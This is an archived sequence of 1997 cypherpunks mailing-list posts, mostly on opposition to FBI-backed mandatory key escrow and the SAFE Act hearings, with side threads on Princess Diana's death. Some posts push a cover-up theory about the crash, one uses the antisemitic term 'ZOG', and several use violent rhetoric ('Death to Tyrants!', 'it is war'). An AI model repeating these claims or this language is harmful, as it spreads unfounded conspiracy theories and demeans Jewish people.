From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Sat, 6 Sep 1997 15:48:16 +0800
To: cypherpunks@toad.com
Subject: Gao's Chaos Cryptosystem
Message-ID: <19970906073720.3185.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



GCC(Gao's Chaos Cryptosystem)
GCC uses the newest chaos logic and is conventional cryptosystem stream 
cipher
encryption. It is high speed and allows variable-length keys, making it 
very
reliable and suitable for use in multimedia.

http://www.iisi.co.jp/reserch/GCC-over.htm


Chaos InforGuard
GCC(Gao's Chaos Cryptosystem) security application.
High speed,variable-length keys,high reliability,and user friendliness 
allow you
to easily encrypt an entire harddisc.Can be used with Windows3.1 & 
Windows95.

http://www.iisi.co.jp/vcs/software/infoguard-e1621.html


Chaos-mail
Internet Mailer Using Gao's Chaos Cryptosystem
Chaos-mail is a cryptosystem mailer for use on Windows95,which using GCC 
and Chaos
MAM, gives you the ability to encrypt/decrypt and verify mail. 
Chaos-mail is a
cryptosystem mailer for user on Windows 95 which, using GCC and Chaos 
MAM, gives
you the ability to encrypt, decrypt, and verify mail. Not only is it 
fast,
reliable, and user-friendly, but it is also very suitable for multimedia 
because
of its non-biased treatment of data.

http://www.iisi.co.jp/vcs/software/chaosmail-e.htm



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 6 Sep 1997 13:32:04 +0800
To: TruthMonger <tm@dev.null>
Subject: Re: New GAK Bill
In-Reply-To: <3410C9CD.4C4D@dev.null>
Message-ID: <Pine.GSO.3.95.970906004141.16467A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Last I checked, I'm part of the mainstream media. I've been warning of
this for the last year, if not longer.

-Declan

On Fri, 5 Sep 1997, TruthMonger wrote:

> John Young wrote:
> > 
> > 5 September 1997, MSNBC:
> > 
> > FBI Director Louis Freeh floats a new proposal at a congressional
> > hearing to outlaw non-breakable crypto products.
> 
>   Surprise, surprise!
>   It's amazing that nobody saw this coming. I guess we were all fools
> for trusting the mainstream media to warn us of the possibility of
> the government taking this fascist, dictatorial, mind-control action.
>   Gee, I sure wish I hadn't turned in all my guns.
> 
> TruthMonger
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sat, 6 Sep 1997 10:25:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Dianaism Was: Re: Di and Dodi Run Over A Land Mine
Message-ID: <602230d4ced1068201d1cb54eededabb@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

nobody@replay.com (Anonymous) wrote:
>Sean Roach wrote:
>> Anyone care to lay odds as to how soon a religion will start up with the
>> late princess as the main diety?
>> I'm guessing 5 years for the first hard-cores.  And 20 years for
>> international visibility.

>I have already seen one newscast which has predicted that Diana will
>join Elvis as a diety-figurehead.  So, now that we have a King _and_
>a Queen, why don't we start a new nation? They would be the perfect
>titular heads for a Virtual Nation, because their lifestyles would be
>inexpensive for us to maintain, no matter how lavishly we choose to
>treat them.

They'll be lonely if we don't fill in the Pantheon:

God of Messages and Pathways:     Alan M. Turing
God of War:                       William Colby
God of Justice:                   Alfred Nobel
Goddess of Love:                  Muriel Hemingway
God of Vengeance:                 Jim Bell

Presidential Gods:
The Kitchen God:                  Harry S. Truman
God of Mischief and Deception:    Richard Milhous Nixon
God of Laughter and Forgetting:   Ronald Wilson Reagan

Court Jester:                     Jerzy Kosinski

Patron Saint of Lost Causes:      Dorothy Denning

The All Powerful God:             Rover from "The Prisoner"

The Olympians:
John Bonham
Curt Cobain
Jimi Hendrix
Janice Joplin
John Lennon
Jim Morrison

"Oh Lord Turing, please hear my prayer.  I do beseech thee for a one
way function whose inverse is NP complete.  Please do graciously
accept my humble offering: 10109AlanMathisonTuring11cfea22ef8c1166"

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 6 Sep 1997 09:29:47 +0800
To: cypherpunks@toad.com
Subject: Re: Political News from Wired News
Message-ID: <199709060111.DAA06236@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vladimir Z. Nuri wrote:
> 
> it's amazing. in all the blathering by senators etc. over these
> crypto bills (Feinstein, Freeh etc.),
> has *anyone* raised the possibility on the record
> that the key recovery is UNCONSTITUTIONAL?
> 
> maybe I'm not following closely enough, but I haven't seen a *single*
> reference. that's really eerie. can't we get a *single*
> senator to bring up that issue?

have you seen any pictures of the concrete pillar that apparently
totally destroyed an automobile built like a tank? does it even have
a single scratch on it?
anybody figure out how a papparazzi scooter managed to get ahead
of a car and zig-zag at 120 miles per hour? anybody figure out
why 'facts' such as these changed back and forth several times when
it became obvious that you could drive a Mercedes semi-truck 
through the holes in the original story?

i agree that there is something weird going on with the reporting of
the mainstream press and their affiliates.
i'm not looking for mountains of negative sensationalism replacing a
balanced perspective, but I have to wonder why nobody is seriously
questioning  the possibilities of the 'dark side' of anti-4-Horsemen 
legislation, or reporting the real details surrounding the sudden death
of a rich Egyptian mobster and the mother of a future King of England.

i am getting a very bad feeling that maybe the level of inside/outside
censorship of the press may be a good indicator, like the Doomsday 
Clock, of how close we are to the day when the Puppet Masters finally
step out from behind their masks.

truthmonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 6 Sep 1997 16:25:38 +0800
To: tcmay@got.net>
Subject: Re: Is Diana News?
In-Reply-To: <v03102805b03665909a80@[207.167.93.63]>
Message-ID: <Chameleon.873530401.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



=snip=

> This is headed for being the biggest news story of 1997, barring, of
> course, an even bigger news story. Get used to it.
> 
> --Tim May

You mean like Mother Theresa dying?

My grandmother used to say such things happen in triplets. Wonder who's 
next?

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/06/97
Time: 03:18:50
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <kp@crypt.com>
Date: Sat, 6 Sep 1997 11:34:30 +0800
To: cypherpunks@toad.com
Subject: Puppet Masters
In-Reply-To: <199709060111.DAA06236@basement.replay.com>
Message-ID: <199709060725.DAA00192@crypt.com>
MIME-Version: 1.0
Content-Type: text/plain



> i am getting a very bad feeling that maybe the level of inside/outside
> censorship of the press may be a good indicator, like the Doomsday 
> Clock, of how close we are to the day when the Puppet Masters finally
> step out from behind their masks.

	Puppet Masters don't step out from behind thier masks.  They have
someone else step out for them.

~kp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 6 Sep 1997 14:00:16 +0800
To: Tim May <cypherpunks@cyberpass.net>
Subject: Re: Is Diana News?
In-Reply-To: <v03102805b03665909a80@[207.167.93.63]>
Message-ID: <199709060550.XAA07635@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970905:1853 
    Tim May <tcmay@got.net> expostulated:

+This is headed for being the biggest news story of 1997, barring, of
+course, an even bigger news story. Get used to it.

+--Tim May

    yeah, but it does not make Diana any less of an airhead who could
    not take the fire in the kitchen.  Diana expected to be Queen on
    _her_ terms and crumpled.

    they may claim she saved the monarchy by her open, loving self. No,
    she trivialized the monarchy with her problems and hung it out to
    dry --looking exactly as it is/was: another average dysfunctional
    family.

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 6 Sep 1997 15:13:07 +0800
To: toto <cypherpunks@cyberpass.net>
Subject: Re: Amen! / Re: Mandatory key escrow bill text, backed by FBI
In-Reply-To: <3410DE53.14EB@dev.null>
Message-ID: <199709060645.AAA09089@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970905:2238 
    TruthMonger <tm@dev.null> expostulated:

+Mike Duvos wrote:

+> This is not simply a proposed bill.  It is an ACT OF WAR.
+> 
+> It is them or us.  I pick us.

+  I have ordered a semi-automatic keyboard and a Telsa snarf-barrier.

+TruthMonger

    TS qualified, eh?  a Telsa <sic> snarf-barrier?  now you've done it.

    yes, it is war.

 --
 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 
        --Christian Worley
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 6 Sep 1997 15:12:20 +0800
To: cypherpunks@toad.com
Subject: Mars Rover Fraud
Message-ID: <199709060653.IAA08735@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



I happened across a web site, http://web.inter.nl.net/hcc/I.Castelijn/
that promised to reveal the _real_ pictures from the Mars Rover, instead
of the _fake_ ones released to the public.
Since I found the web site regarding the "faking" of the Apollo moon
landings amusing, though totally unbelievable, I decided to view the
claimed Mars Rover fakery conspiracy theory, as well.

  Imagine my amazement when one of the claimed _real_ pictures contained
a view of a wristwatch that I had lost in the Desert outside of Tucson
a few years ago. Even the inscription from my mother was still legible!

I'm warning the spooks on this list that if I don't get my wristwatch
back, I'm going to blow the lid off of their whole Mars Rover scam
in Smile magazine. I'm serious!

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html
"I AM a number!  I am a free man!"

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----------------------------------------------------------------------
   This message is copyrighted under the auspices of the Electronic
   Forgery Foundation. However, it was probably written by the person
   whose name it appears to be forged under. Confusing, isn't it?
----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 6 Sep 1997 21:31:28 +0800
To: cypherpunks@toad.com
Subject: Re: New GAK Bill
Message-ID: <1.5.4.32.19970906130821.0082e94c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



To: cyberia-l@listserv.aol.com
Date:         Sat, 6 Sep 1997 01:01:59 -0400
From: "Michael Froomkin - U.Miami School of Law" 
              <froomkin@law.miami.edu>
Subject:      Re: Mandatory key escrow bill text, backed by FBI


This is shocking.

For a legal analysis of why mandatory domestic key escrow would 
not (most likely) be constitutional for non-commercial messages, 
see parts III & IV of:

     http://www.law.miami.edu/~froomkin/articles/clipper.htm


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin/
Coral Gables, FL 33124 USA | It's hot here.

----------

Here's an excerpt from the June version of the Secure Public
Networks Act (McCain-Kerrey Bill S.909), the revised draft bill 
now being circulated that Declan quoted:

TITLE I - DOMESTIC USES OF ENCRYPTION
 
SEC. 101. LAWFUL USE OF ENCRYPTION.
 
Except as otherwise provided by this Act or otherwise provided by law, 
it shall be lawful for any person within any State to use any encryption, 
regardless of encryption algorithm selected, encryption key length 
chosen, or implementation technique or medium used.
 
SEC. 102. PROHIBITION ON MANDATORY THIRD PARTY ESCROW 
OF KEYS USED FOR ENCRYPTION OF CERTAIN COMMUNICATIONS.

Neither the Federal Government nor a State may require the escrow of 
an encryption key with a third party in the case of an encryption key 
used solely to encrypt communications between private persons within 
the United States.
 
SEC. 103. VOLUNTARY PRIVATE SECTOR PARTICIPATION IN KEY
MANAGEMENT STRUCTURE.

The participation of the private persons in the key management 
infrastructure enabled by this Act is voluntary.

----------

For full text of the June version:

     http://jya.com/s909.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 7 Sep 1997 00:24:34 +0800
To: cypherpunks@toad.com
Subject: CDT on "useless crypto legislation"
Message-ID: <Pine.GSO.3.95.970906090934.19528B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sat, 6 Sep 1997 11:53:34 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: declan@well.com, tbetz@pobox.com
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: Useless Crypto Legislation -- NYT reference (Was: Radical Crypto

At 12:57 AM -0400 9/6/97, Declan McCullagh wrote:
>> This is a surprise?
>>
>> To whom?
>
>To be fair, I was going through my crypto-history this evening and noted
>Brock wrote about a similar proposal two and a half years ago... Hardly a
>surprise to any of us.

Not a surprise in the sense that we all knew the FBI would propose
something like this sooner or later. None-the-less, this is a significant
new threat and it would be a very very dangerous for us to underestimate it.

The House Intelligence and National Security Committees are voting on SAFE
next week.  The FBI's draft is no doubt part of the Administration's effort
to gut the bill.  We should expect that this language will be offered at
one or both of those committee votes, and that it stands a good chance of
being adopted.

That sets up an all out fight on the House floor, and a very tough fight.
The debate has changed -- it's now about defeating mandatory key recovery.

VTW and CDT have issued an ALERT and are urging Internet users to contact
their Representatives on the Intelligence and National Security Committees.
Visit http://www.crypto.com/adopt for details.

Kudos to Brock for a great piece.

Jonah


  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 7 Sep 1997 00:37:10 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Crypto Hearings
In-Reply-To: <1.5.4.32.19970906161132.006eb860@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970906091943.19528C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



In my post "Mandatory key escrow bill text" yesterday evening I included a
URL to a Reuters dispatch about the SAFE hearing on Sep 4. I also
forwarded the article to f-c, not sure about cypherpunks. 

The Sep 4 SAFE hearing seems to have been much more balanced than the
Senate one the day before. I don't have a transcript of it, though. 

Beware the National Security committee markup and vote on SAFE next week.
Mandatory key escrow is only one card the government has to play.

-Declan



On Sat, 6 Sep 1997, John Young wrote:

> Declan, or anyone, are there any transcipts of this SAFE hearing,
> or news reports, or other documents:
> 
> September 4, 1997
> 
> SECURITY AND FREEDOM THROUGH ENCRYPTION ACT
> 
> Committee on Commerce: Subcommittee on Telecommunications, Trade, and 
> Consumer Protection held a hearing on H.R. 695, Security and Freedom 
> Through encryption (SAFE) Act. Testimony was heard from Representatives 
> Goodlatte and Lofgren; William P. Cowell, Deputy Director, NSA, 
> Department of Defense; William A. Reinsch, Under Secretary, Export 
> Administration, Department of Commerce; Robert S. Litt, Deputy 
> Assistant Attorney General, Criminal Division, Department of Justice; 
> and public witnesses.
> 
> -----------------------------------------------------------------------
> 
> And for these of the coming week:
> 
> Congressional Record: September 5, 1997 (Digest):
>  
>                       CONGRESSIONAL PROGRAM AHEAD
> 
>                   Week of September 8 through 13, 1997
> 
> [Excerpts]
>                            House Committees
> 
>   Committee on National Security, September 9, to markup H.R. 695, 
> Security and Freedom Through Encryption (SAFE) Act, 1 p.m., 2118 
> Rayburn.
> 
>   Permanent Select Committee on Intelligence, September 9, 
> executive, hearing on Encryption legislation, 10 a.m., H-405 
> Capitol.
>   September 11, executive, to markup Encryption legislation, 10 
> a.m., H-405 Capitol.
> 
>   Committee on Science, September 10, hearing on Next Generation 
> Internet Initiative, 10 a.m., 2318 Rayburn.
> 
>   September 11, Subcommittee on Courts and Intellectual Property, 
> hearing on H.R. 2265, No Electronic Theft (NET) Act, and also on 
> electronic copyright piracy, 10 a.m., 2237 Rayburn.
> 
>   September 11, Subcommittee on Crime, hearing regarding cellular 
> telephone fraud, 9:30 a.m., 2141 Rayburn.
> 
>                            Senate Committees
> 
>   Select Committee on Intelligence: September 10, to hold a closed 
> briefing on intelligence matters, 2:30 p.m., SH-219.
> 
>   Committee on Labor and Human Resources: September 11, to hold 
> hearings to examine the confidentiality of medical information, 10 
> a.m., SD-430.
> 
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 6 Sep 1997 21:58:00 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: DCSB: Boston D-H expiration Party at Doyles on Saturday.
In-Reply-To: <v0311078cb036264cfc46@[139.167.130.248]>
Message-ID: <v031107a1b03702142298@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:38 pm -0400 on 9/5/97, Declan McCullagh wrote:


> Whoops! My fault. I thought you were and said that to Peter this
> morning...

That's okay, so did we. :-).

Peter's call mostly just forced the issue and made me get off the dime to
make something we'd been talking about. I suppose if anyone else had called
me the same thing would have happened.

Life imitates art imitating life, I guess.

In hindsight, I think having a beer at Doyle's is a much better way to do
this, anyway.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 7 Sep 1997 00:51:18 +0800
To: cypherpunks@Algebra.COM
Subject: A helluva way to run a country, er, a world
In-Reply-To: <970906105358_284527778@emout18.mail.aol.com>
Message-ID: <v03102809b03734c24855@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:54 AM -0700 9/6/97, Syniker@aol.com wrote:
>In a message dated 97-09-06 07:15:18 EDT, vznuri@netcom.com (Vladimir Z.
>Nuri) writes:
>
><< maybe I'm not following closely enough, but I haven't seen a *single*
> reference. that's really eerie. can't we get a *single*
> senator to bring up that issue? >>
>
>me neither... it's fucking mind-boggling....
>and where's all the 'censorship' people????
>it's like -- no one can make the 'connection' ....
>the CDA and FCA lists are dead ... not a word ...
>how can we all have wet powder at the same time?

I didn't see Detweiler's original message ('til just now), but I think this
is wrong, the "I haven't seen a *single*  reference" (to the
constitutionality of mandatory key escrow).

In some of the accounts of the Freeh-Feinstein-etc. colloquy, there were
mentions that mandatory key escrow probably would be desirable, but
probably not be possible. (I took this to mean they, including Freeh,
recognized it would be unconstitutional).

Of course, then the draft text of the GAK bill floated by the next day, and
it of course contained no references to constitutionality (not
surprisingly, as draft bills are not self-analyses).

Despite my cynicism, I'd expect the courts to issue an immediate stay on
enforcement on such a law, as happened with the CDA. With probably an
expedited hearing before the Supreme Court. As so many have noted, it seems
to be a slam dunk infringement on the right to speak freely and in whatever
language one wishes. And some 4th and 5th and other involvements.

It may be a stalking horse. A threat. Designed to force a compromise. "If
you don't pass McCain-Kerrey, this is what you'll get."

A helluva way to run a country, er, a world.

But look on the bright side: the militias and other patriot groups are
getting a huge bounce out of this. Stay far away from the nests of vipers.
Jefferson's wisdom that we need a revolution every generation or so is
apt...though it's been about 180 years too long.

Now even those, like Sternlight, who claimed the government would never
require key escrow, have to admit we were right all along.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sat, 6 Sep 1997 22:43:39 +0800
To: "John Young" <cypherpunks@toad.com>
Subject: Re: New GAK Bill
Message-ID: <199709061414.KAA14770@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/6/97 9:08 AM, John Young (jya@pipeline.com)  passed this wisdom:

>For a legal analysis of why mandatory domestic key escrow would 
>not (most likely) be constitutional for non-commercial messages, 
>see parts III & IV of:

  What I would like to know is how they can justify imposing it on
messages between individuals and corporations or corporations to
corporations. It also occurs to me that if such communications were
within state boundries might not that further restrict where they can
put their nose? In they end they most likely will do as they please,
but usually they try to start with some semblance of legal
constitutional foundation ... this time they seem to have gone for the
throat in the first inning, the Constitution be damned ...

  I see, despite the wording of the McCain-Kerry, that after they have
that in place, they will then coming whining that because the private
sector is excluded that all these bad people are doing an endrun, so
we need to bring them in under the umbrella of GAK ... <sigh> ... 'up
the revolution!'


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBFk/sdZgC62U/gIEQJfcACg98yLedoN7B7i91MFuhBj1TkBF5EAoNCX
39s/Pt+a4/krfyIQ3yB6YJnM
=yiu0
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
       For PGP Keys -  Send Email Subject "Get PGP Key"
 "It would take an archimedean fulcrum to raise you to the level of
  total depravity" --Thomas E. Carney, ca. 1920






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Sat, 6 Sep 1997 23:00:28 +0800
To: cypherpunks@toad.com
Subject: Re: LYING FUCKS! / Behind the ELECTROMAGNETIC CURTAIN
Message-ID: <970906104600_-1736182624@emout18.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



alright... i finally figured a way around ctrl-alt-delete on my
aol account here, so here is my first post...
bear with an old fart, who is trying to learn encryption... and who when
he does, will pass it along to whoever he can...

yes -- we need to do ALL these things... but we need to do it ...
ENCRYPTED... by as many as possible... as SOON as possible...

the thing that is missing here -- to beat freeh and the other freaks...
is that PGP -- or whatever -- must be POPULARIZED -- and by
that, i mean -- the 'learning and doing' -- an encrypted email...
must be made easy enough -- so that the average aol user...
will -- FIRST -- think it's something they should have and use...
and SECOND ... they'll have a way they can use it quickly and easily...

figure it this way -- if you could get ALL nine million aol users....
to send an encrypted email -- on the SAME day .... to everyone
in gov that says FUCK OFF -- NO WAY MY KEY....
what the fuck is the gov gonna do about it??????

as in the internet at large, and the WWW -- it is the sheer number of
us 'users' ... that is scaring shit out of govs everywhere...

but right now -- they have a big, big advantage.....
they are using the time-honored principle of 'divide-and-conquer' ...
to extreme advantage -- and it is one that we can take from them
with a little thought, organization, and planning.......

the fight against CDA was greatly helped with the co-operative
'black-out' pages.... and that's the general idea....

whoever can write an icon-based gui -- point and click -- that will
encrypt and send an email.... and includes an user friendly system
for email spam filters......... gee -- could make a small fortune...
[they are using 'spam' as a backdoor to GAK]

maybe it's already been done? -- I've got eudora lite w/pgp 
on board -- but no time to try it out yet.....

anyways -- dammit -- the key to this fight is in NUMBERS .......

if I was even forty or so -- I'd try it myself....
it's REAL important.......

ldm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 7 Sep 1997 01:58:44 +0800
To: cypherpunks@Algebra.COM
Subject: Democracy is the true enemy, and anarchists fight the true enemy
In-Reply-To: <199709060107.TAA25737@broadway.sfn.saskatoon.sk.ca>
Message-ID: <v0310280ab03746df89cf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:42 AM -0700 9/6/97, jf_avon@citenet.net wrote:
>On  5 Sep 97 at 19:07, Cdn-Firearms Digest wrote:
>------ Forwarded message ---------
>Date: Fri, 5 Sep 1997 19:07:19 -0600
>From: Karl Schrader <schraderkg@intranet.ca>
>Subject: Bill C-95
>
>Re.: recent amendment to Criminal Code, Bill C-95
>--------------------------------------------------------------
>Did any legal expert analyse the recent amendment to the
>Criminal Code regarding  the mere membership in an organization
>consisting of more than 5 people which imposes a penalty in prison
>from 5 to 14 years if any mischief is even mentioned?
>
>This amendment is aimed at the biker gangs, however, the way it
>is worded, it can be applied to any group, be they environmenta-
>lists, unionists, recreational firearms owners, birdwatchers or even
>stampcollectors where the mere mentioning of mischief is ground
>enough to face 5-14 years in jail.

The United States does not yet have anything quite this repugnant, though
I'm sure Janet Reno, Louis Freeh, and William Clinton are working on a
draft of a bill to do something similar.

The Anti-Terrorism Act of 1995, though apparently not being used in any
significant way (yet), would have done some of the same sorts of things. If
an organization was declared to be a terrorist-supporting organization,
various sanctions would have applied to those who contributed money or
certain other types of aid to such organizations. As others have noted, the
Bureau of Thought Crimes has not yet issued a list of which organizations
are considered terrorist.

(One of my fondest hopes is that the Cypherpunks group makes this list. I'm
hoping that enough support of various types provided to freedom fighters in
the ZOG sections of Palestine will get us on this list. I'm itching for a
confrontation with the jack-booted thugs, as you may know.)

>FOCUS: If 97% of Canadians are being pushed around by 3%,
>              there is something seriously wrong !!

Be very, very, very careful of this sort of "democracy" emphasis, as it is
quite likely that the "majority of the sheeple" support the disarming of
Canadian citizens and the crackdown on "gangs and other scum organizations"
by the Mounties.

Never place any faith in democracy. The sheeple will eventually vote to
have their liberties taken away for their own good. Espeically the
liberties of others.

Democracy is the true enemy. Anarchists fight the true enemy.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Sat, 6 Sep 1997 23:07:12 +0800
To: alano@teleport.com
Subject: Re: Political News from Wired News
Message-ID: <970906105358_284527778@emout18.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



In a message dated 97-09-06 07:15:18 EDT, vznuri@netcom.com (Vladimir Z.
Nuri) writes:

<< maybe I'm not following closely enough, but I haven't seen a *single* 
 reference. that's really eerie. can't we get a *single* 
 senator to bring up that issue? >>

me neither... it's fucking mind-boggling....
and where's all the 'censorship' people????
it's like -- no one can make the 'connection' ....
the CDA and FCA lists are dead ... not a word ...
how can we all have wet powder at the same time?

is Leahy saying anything? .... i'll find his site and see.....

ldm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 7 Sep 1997 00:39:41 +0800
To: cypherpunks@toad.com
Subject: Crypto Hearings
Message-ID: <1.5.4.32.19970906161132.006eb860@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan, or anyone, are there any transcipts of this SAFE hearing,
or news reports, or other documents:

September 4, 1997

SECURITY AND FREEDOM THROUGH ENCRYPTION ACT

Committee on Commerce: Subcommittee on Telecommunications, Trade, and 
Consumer Protection held a hearing on H.R. 695, Security and Freedom 
Through encryption (SAFE) Act. Testimony was heard from Representatives 
Goodlatte and Lofgren; William P. Cowell, Deputy Director, NSA, 
Department of Defense; William A. Reinsch, Under Secretary, Export 
Administration, Department of Commerce; Robert S. Litt, Deputy 
Assistant Attorney General, Criminal Division, Department of Justice; 
and public witnesses.

-----------------------------------------------------------------------

And for these of the coming week:

Congressional Record: September 5, 1997 (Digest):
 
                      CONGRESSIONAL PROGRAM AHEAD

                  Week of September 8 through 13, 1997

[Excerpts]
                           House Committees

  Committee on National Security, September 9, to markup H.R. 695, 
Security and Freedom Through Encryption (SAFE) Act, 1 p.m., 2118 
Rayburn.

  Permanent Select Committee on Intelligence, September 9, 
executive, hearing on Encryption legislation, 10 a.m., H-405 
Capitol.
  September 11, executive, to markup Encryption legislation, 10 
a.m., H-405 Capitol.

  Committee on Science, September 10, hearing on Next Generation 
Internet Initiative, 10 a.m., 2318 Rayburn.

  September 11, Subcommittee on Courts and Intellectual Property, 
hearing on H.R. 2265, No Electronic Theft (NET) Act, and also on 
electronic copyright piracy, 10 a.m., 2237 Rayburn.

  September 11, Subcommittee on Crime, hearing regarding cellular 
telephone fraud, 9:30 a.m., 2141 Rayburn.

                           Senate Committees

  Select Committee on Intelligence: September 10, to hold a closed 
briefing on intelligence matters, 2:30 p.m., SH-219.

  Committee on Labor and Human Resources: September 11, to hold 
hearings to examine the confidentiality of medical information, 10 
a.m., SD-430.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 7 Sep 1997 01:01:20 +0800
To: cypherpunks@toad.com
Subject: Cyber Threat Fud
